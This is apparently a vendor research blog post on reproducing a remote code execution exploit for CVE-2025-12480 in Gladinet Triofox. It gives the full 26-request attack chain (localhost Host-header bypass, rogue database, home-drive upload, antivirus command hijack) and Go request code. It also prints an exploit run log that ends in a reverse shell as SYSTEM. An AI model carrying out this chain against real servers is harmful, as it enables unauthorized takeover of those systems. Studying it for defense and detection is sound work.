Key Takeaways
Exploitation can often appear simple when analyzed from a post-exploitation perspective or post-patch release, but much of cybersecurity is about those subtleties that can mask complexity required for real world attacks. It's valuable to look at the seemingly simple exploits that have been developed only up to the minimum standard required for a functional attack and look at the "just" statements that hide the complications and choices an attacker makes.
Recently Mandiant Threat Defense identified active exploitation of a zero-day in Gladinet's Triofox file-sharing and remote access platform that our Initial Access Intelligence team reproduced for our clients. Other researchers also identified that the application shared much functionality (and vulnerabilities) with the Gladinet CentreStack application. During reproduction and exploit creation, the VulnCheck team made the decision to ignore the bug overlap and instead see if we could reproduce and write an exploit that matched the Mandiant analysis as closely as possible. This turned out to be an excellent case study in how writeups and public analysis can make a complex attack seem simple; as always, however, the details are what matters in real-world exploitation scenarios.
Triofox Vulnerability Primer
The original Mandiant vulnerability analysis explains that the vulnerability arises from an incorrect local host header injection that then allows an attacker to reach pages that are use for initial configuration of Triofox. Using the access the writeup states that the attacker reaches the database configuration page, which then leads to the admin account creation page, and a new database and admin account are created by the attacker allowing them access to the administrative user account. Finally, the attacker then modified the Anti-virus configuration to achieve remote code execution.
The analysis provides the following exploitation chain diagram (diagram via Mandiant):
The reason this is interesting is that this is a simplification of the reality of the attack. It is excellent for incident response and detection, but here on the VulnCheck Initial Access Intelligence team, we want shells. This simplification provides us a useful framework to look at some of the decision making steps the attackers had to make and how these simplifications mask the complexity of exploitation.
"Just" Reset the Database
One of the root cause components of the vulnerability is an authentication bypass that arises from faulty validation when checking whether a request is coming from localhost in order to allow administrators to reset the settings from the local interface of the server. The developers did not validate whether the host was actually the local system, only that the Host header was set to localhost. What is missing from current public analysis is this very short blurb from the original analysis:
By following the setup process and creating a new database via the AdminDatabase.aspx page, access is granted to the admin initialization page, AdminAccount.aspx, which then redirects to the InitAccount.aspx page to create a new admin account.
The analysis here is technically correct, but does not elaborate on a few critical details that turn out to be real issues for weaponizing an exploit. First, if the target Triofox installation is using the default embedded database, re-selecting that option does not reconfigure the database and does not allow for an attacker to reset the admin credentials. Second, when the attacker selects the other databases, they must actually have a database accessible for the Triofox server to reach out to and utilize.

Our testing revealed that in the default configuration an attacker could not rely on the database configuration page to indicate the default configuration, meaning that a password reset action would not be available to an attacker using the Triofox embedded database — meaning that the attacker found a different way around this, only targeted systems that used the external database configuration, or deployed their own database systems for configuration.
Since we wanted to reproduce the same path to remote code execution as UNC6485, this presented us with a problem. How could we make this exploit work without having to set up a database? Answer: We didn't, and instead we embedded an entire PostgreSQL server configuration in our go-exploit artifact via the Go embedded-postgres package!
Assuming the attacker did successfully set up a rogue database server, our team still encountered a few other things that an adversary (or an exploit dev) would have needed to contend with — and it’s still not clear how the attackers approached these in the real world:
- The database would either be completely reset or no longer configured for the system, leaving it in a dirty state and making the exploitation extremely obvious if anyone attempts to use the system.
- Previous database settings and configurations are not able to be trivially restored (with one exception that we will get to later).
- Artifacts are created during exploitation that point directly to attacker infrastructure, which might deter an adversary desiring stealth.
If the embedded database was used previously by the application, another call to the database configuration (using the same local host header bypass) would allow for the server to return to the previous configuration state. This allows an attacker to reset the configuration post-exploitation even if the database was changed.
"Just" Upload a Set of Payloads
The Mandiant analysis also notes that malicious files were uploaded and executed:
To achieve code execution, the attacker logged in using the newly created Admin account. The attacker uploaded malicious files to execute them using the built-in anti-virus feature.
"Uploaded malicious files" could mean many things in the context of Triofox. After all, the product supports many upload types and by default does not have enabled shares. When trying to create a network share to follow this part of the attack chain, an attacker would have to create a network share via the following set of options:

Reducing infrastructure visibility and other exposures is critical to threat actors wanting to mask their identities, so the most obvious choice would be to select the local folder or share. This is where we hit another obstacle: creation of a local share either requires Triofox permissions or NTFS local inherited permissions. These require either entering local credentials or explicitly giving the Triofox-running user permission (if the NTFS permissions are inherited). Below is an example of what occurs when we attempt to create a new share with inherited permissions to C:\ and grant all users all permissions:

So, we are either missing a step here or the attacker figured out something that wasn't obvious. We need to find a way to get a share, so we tried a few things that all failed:
- Attempted to use UNC path names to the local host to a location
- Created a path we know is world-writable
- Created a new Triofox low-privilege user, used only Triofox permissions, and granted access
Not wanting to rely on a cloud instance, we started to investigate if there were any alternatives to using the default share logic. This is when we discovered that Triofox offered a setting to enable "Personal Home Drives" that was not enabled by default.

Interestingly, and unlike the share settings, the application allows you to configure the home drive to a path and will happily allow omitting a username and password. Simply setting C:\ or the Windows drive and leaving the username and password blank will allow the attacker to enable the home drive in a known writable location.

Then, visiting the "My Files" page in the UI, we can see we now have permissions to the Windows drive and testing shows that we have the expected write and file creation permissions.

There are, of course, likely other ways to achieve file uploads, but not knowing which one was utilized by the threat actor, we decided to prioritize a path that doesn't require the attacker to configure additional infrastructure or settings.
Now we can upload our payload files and move on to the antivirus configuration modification, which is a “simple” modification of the ESET command line parameters with the caveat that the ESET arguments can only point to a single executable, with no arguments that will be scanned by ESET. We added support for creating a staged VisualBasic reverse HTTP shell and an EXE dropper and moved on to the next steps: functionally completing the attack chain manually through the UI with assistance from a web proxy.
"Just" Handle ASP.NET State
With the upload and antivirus part of the chain completed, we then moved on to automating the attack and maturing our exploit, which includes ensuring that HTTP requests all chain together properly. This is where another "just" rears its head in a way that is common during n-day vulnerability reproduction. ASP.NET is a classic example of a web framework that attempts to keep its state client-side and is infamously annoying because it requires juggling state variables such as our old friend __VIEWSTATE. Each request that requires a state change in ASP.NET-developed applications will often require a multi-request process for manual web interaction, such as clicking a next button or a dropdown menu that generates a large volume of requests that have to be accounted for.
A quick enumeration of the steps shows that this exploit requires roughly 23 HTTP requests to go from authentication bypass to remote code execution. The full workflow for exploitation is the following set of HTTP requests:
GET /management/AdminDatabase.aspx- Retrieve admin database reset page with bypassPOST /management/AdminDatabase.aspx- Select PSQLPOST /management/AdminDatabase.aspx- Submit attacker-controlled configurationGET /management/AdminAccount.aspx- Follow redirect to servo endpoints and admin configurationGET /management/servo/InitAccount.aspx- Retrieve ASP state data for account creationPOST /management/servo/InitAccount.aspx- Create the accountPOST/management/servo/InitAccount.aspx- Finalize the account and redirect toInitADGET /management/servo/InitAd.aspx- ASP state data for AD configurationPOST /management/servo/InitAd.aspx- Select No AD configuration redirect toInitSvrsGET /management/servo/InitSvrs.aspx- Follow redirect toServoCheckout.aspxGET /management/servo/ServoCheckout.aspx?t=1- Commit changes from Checkout and get state/token cookies for authenticationGET /management/clustermgrconsole- Redirect to administrative page. Admin access obtained.GET /management/servo/ServoHomeDriveEnable.aspx- Retrieve the "Home Drive" administrative page and ASP statePOST /management/servo/ServoHomeDriveEnable.aspx- Select home drive enablementPOST /management/servo/ServoHomeDriveEnable.aspx- Set home drive toC:PUT /namespace/n.svc/jsondir/?_rnd=<random>- Create directory in home drivePUT /storage/proxiedupload.up- Create and upload .bat file containing call to VBS payloadPUT /storage/proxiedupload.up- Create and upload VBS payloadGET /management/AntiVirus.aspx- Retrieve ASP state from antivirus configuration pagePOST /management/AntiVirus.aspx- Select the edit button and update ASP statePOST /management/AntiVirus.aspx- Select ESET AV optionPOST /management/AntiVirus.aspx- Point ESET target to .bat payloadPUT /storage/proxiedupload.up- Upload another file to trigger .bat
And for good measure we also need to use our trick to reset the database at the end of a successful attack, meaning we send 3 additional requests in a successful attack for a grand total of 26 requests to keep state throughout the exploit.
Since we obviously want to reduce the pain of having to manually track state, we updated VulnCheck’s open-source exploitation framework go-exploit with wrote a simple set of ASP.NET state helpers to allow a call to UpdateState that handles the HTML XPath parsing and parameter retrieval automatically. This reduces manual lookups and lets us focus only on the non-ASP.NET state parameters that actually matter for exploitation.
This allows us to use request the pages like any other request, but dynamically update the state on each response, automatically handling the ASP.NET state variables:
state := aspnet.State{}
resp, body, ok := protocol.HTTPSendAndRecvWith("GET", conf.GenerateURL("/management/AdminDatabase.aspx"), "")
if !ok {
output.PrintError("Could not retrieve to the admin database endpoint")
return false
}
state.Update(body)
// Now only the parameters that are required can be utilized and no special body parsing
// for __VIEWSTATE and friends is required.
p := state.MergeParams(map[string]string{
"__EVENTTARGET": "ctl00$MainContent$DatabaseType",
"ctl00%24MainContent%24DatabaseType": "psql",
})
params := protocol.CreateRequestParamsEncoded(p)
headers["Content-Type"] = "application/x-www-form-urlencoded"
resp, body, ok = protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
if !ok {
output.PrintError("Could not POST to the admin database endpoint")
return false
}
// Update the state from the previous POST response, this time we only want the states and have no content
state.Update(body)
params := protocol.CreateRequestParamsEncoded(state.AsParams())
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
if !ok {
output.PrintError("Could not POST to the admin database endpoint")
return false
}
Just Run the Exploit
In the end we now have an embedded PostgreSQL server, a new shiny set of ASP.NET session state helper functions, an undocumented path bypass for creating a share, a dream, and an exploit that takes a sum total of 26 HTTP requests. The culmination of this is a full unauthenticated remote code execution exploit that mirrors the attack path of the threat actor:
poptart@grimm $ ./build/cve-2025-12480_linux-amd64 -rhost 10.0.0.68 -rport 80 -lhost 10.0.1.10 -lport 1337 -timeout 30 -v -c -e
time=2025-11-25T14:24:17.692-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.68 port=80 ssl=false "ssl auto"=false
time=2025-11-25T14:24:17.692-07:00 level=STATUS msg="Validating Gladinet Triofox target" host=10.0.0.68 port=80
time=2025-11-25T14:24:17.706-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.68 port=80 verified=true
time=2025-11-25T14:24:17.706-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.68 port=80
time=2025-11-25T14:24:17.719-07:00 level=VERSION msg="The reported version is 16.4.10317.56372" host=10.0.0.68 port=80 version=16.4.10317.56372
time=2025-11-25T14:24:17.719-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.68 port=80 vulnerable=yes
time=2025-11-25T14:24:17.719-07:00 level=STATUS msg="Starting embedded PostgreSQL server"
time=2025-11-25T14:24:17.719-07:00 level=STATUS msg="Starting an HTTP server on 10.0.1.10:1337"
time=2025-11-25T14:24:21.268-07:00 level=STATUS msg="PostgreSQL server started"
time=2025-11-25T14:24:21.268-07:00 level=STATUS msg="Modifying PostgreSQL pg_hba.conf to allow remote connections"
time=2025-11-25T14:24:21.268-07:00 level=STATUS msg="Reloading PostgreSQL server config for remote connections"
time=2025-11-25T14:24:26.953-07:00 level=STATUS msg="PostgreSQL fully configured"
time=2025-11-25T14:24:26.953-07:00 level=STATUS msg="Attempting to access the admin database endpoint with localhost header"
time=2025-11-25T14:24:26.958-07:00 level=STATUS msg="Selecting PostgreSQL in database state"
time=2025-11-25T14:24:26.962-07:00 level=STATUS msg="Creating new PostgreSQL database"
time=2025-11-25T14:24:39.056-07:00 level=STATUS msg="Selecting No AD Option"
time=2025-11-25T14:24:45.110-07:00 level=STATUS msg="Creating new local user account"
time=2025-11-25T14:24:45.111-07:00 level=STATUS msg="Creating account with the following email and password: mkjva@xmsoq.org:c13b6f587"
time=2025-11-25T14:24:45.119-07:00 level=STATUS msg="Following redirect with cookies"
time=2025-11-25T14:24:45.421-07:00 level=STATUS msg="Initializing configuration for AD"
time=2025-11-25T14:24:45.423-07:00 level=STATUS msg="Following first redirect from creation of AD settings"
time=2025-11-25T14:24:45.710-07:00 level=STATUS msg="Following second redirect from checkout and updating cookies"
time=2025-11-25T14:24:46.435-07:00 level=STATUS msg="Following redirect to admin console with new cookies"
time=2025-11-25T14:24:47.137-07:00 level=STATUS msg="Enabling Home Drive"
time=2025-11-25T14:24:47.436-07:00 level=STATUS msg="Creating directory in home drive"
time=2025-11-25T14:24:53.578-07:00 level=STATUS msg="Created directory: aLbYFbPvZvFuYD"
time=2025-11-25T14:24:53.578-07:00 level=STATUS msg="Creating payload file in home directory"
time=2025-11-25T14:24:57.633-07:00 level=STATUS msg="Created file: nsFCZFzFvxHYbbwU.vbs"
time=2025-11-25T14:24:57.651-07:00 level=STATUS msg="Created file: IQbneKjteHuZlTxMpe.bat"
time=2025-11-25T14:24:57.651-07:00 level=STATUS msg="Setting antivirus scanner to payload"
time=2025-11-25T14:24:57.971-07:00 level=STATUS msg="Enable editing AntiVirus settings"
time=2025-11-25T14:24:57.976-07:00 level=STATUS msg="Selecting AntiVirus settings to ESET"
time=2025-11-25T14:24:57.980-07:00 level=STATUS msg="Setting AntiVirus settings for ESET to our VBS script"
time=2025-11-25T14:24:57.992-07:00 level=STATUS msg="Creating file to trigger AV scan. A timeout and error are expected."
time=2025-11-25T14:24:58.158-07:00 level=SUCCESS msg="Received initial connection from 10.0.0.68:49809, entering shell"
last seen: 0ms> whoami
last seen: 0ms> 10.0.0.68:49809: nt authority\system
exit
time=2025-11-25T14:25:05.014-07:00 level=STATUS msg="Exit received, shutting down"
time=2025-11-25T14:25:05.016-07:00 level=STATUS msg="Shutting down the HTTP Server"
time=2025-11-25T14:25:05.016-07:00 level=STATUS msg="C2 server exited"
time=2025-11-25T14:25:28.014-07:00 level=ERROR msg="HTTP request error: Put \"http://10.0.0.68:80/storage/proxiedupload.up\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
time=2025-11-25T14:25:28.014-07:00 level=ERROR msg="Could not retrieve to the home drive endpoint"
time=2025-11-25T14:25:31.718-07:00 level=STATUS msg="Attempting to reset the database to default and exit"
time=2025-11-25T14:25:31.718-07:00 level=STATUS msg="Attempting to access the admin database endpoint with localhost header"
time=2025-11-25T14:25:52.154-07:00 level=STATUS msg="Resetting database to default embedded"
time=2025-11-25T14:25:55.238-07:00 level=STATUS msg="Database reset"
In summary, CVE-2025-12480 serves as an excellent example of how an exploit that sounds relatively simple in public writeups can turn out to be significantly more complex when accounting for real-world attack paths and solving for non-trivial attacker infrastructure challenges.
About VulnCheck
The VulnCheck research team is always on the lookout for new vulnerabilities to analyze and new exploits to curate. For more research like this, see XWiki CVE-2025-24893 Exploited in the Wild, Making Serialization Gadgets By Hand - .NET, and Fortinet FortiWeb Exploitation Hits Silently Patched Vulnerability.
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.